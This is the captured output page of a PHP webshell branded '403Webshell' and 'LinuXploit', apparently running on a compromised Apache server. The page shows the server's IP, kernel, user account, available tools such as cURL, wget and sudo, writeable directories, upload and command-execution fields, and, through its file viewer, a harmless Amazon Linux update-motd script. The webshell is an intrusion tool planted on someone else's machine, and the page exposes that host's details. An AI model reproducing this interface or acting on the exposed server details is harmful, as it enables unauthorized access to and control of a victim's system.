403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/sbin/update-motd
#!/usr/bin/bash

################################################################################
# Copyright 2011-2023 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not
# use this file except in compliance with the License. A copy of the License is
# located at
#
#     http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is distributed on
# an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
# or implied. See the License for the specific language governing permissions
# and limitations under the License.
################################################################################

if [ $(/usr/bin/id -u) -ne 0 ]; then
    echo "You are not root"
    exit 1
fi

# Parse the few supported options
case "$1" in
    --enable)
        rm -f /var/lib/update-motd/disabled
        exit 0;;
    --disable)
        mkdir -p /var/lib/update-motd/
        touch /var/lib/update-motd/disabled
        exit 0;;
    '' | --force);;
    *)
        echo "update-motd [option]"
        echo "    --disable: Disable update-motd"
        echo "    --enable: Enable update-motd"
        echo "    --force: Ignore disabled setting"
        exit 1;;
esac

# Just exit if update-motd is disabled and --force wasn't passed
if [ -e /var/lib/update-motd/disabled ] && [ "$1" != "--force" ]
then
    exit 0
fi

if [ -d /etc/update-motd.d ]; then
    TMPFILE=$(mktemp --tmpdir=/var/lib/update-motd/)
    if [ -f /etc/motd.head ]; then
        cat /etc/motd.head >> $TMPFILE
    fi
    # Simulated run-parts, wildcards in bash are expanded sorted
    # Skip files ending in ~ or ,
    for part in /etc/update-motd.d/*[^~,]; do
        # Skip .rpmnew, etc.
        [[ $part =~ \.rpm* ]] && continue
        # Run only if it's a regular file and executable
        if [ -f $part ] && [ -x $part ]; then
            TMPPART=$(mktemp --tmpdir motd.partXXXXX)
            if (timeout 30s $part > $TMPPART); then
                cat $TMPPART >> $TMPFILE
            fi
            rm -f $TMPPART
        fi
    done
    if [ -f /etc/motd.tail ]; then
        cat /etc/motd.tail >> $TMPFILE
    fi
    # mktemp creates files with only user read-write permissions
    chmod go+r $TMPFILE
    mv $TMPFILE /var/lib/update-motd/motd
fi

Youez - 2016 - github.com/yon3zu
LinuXploit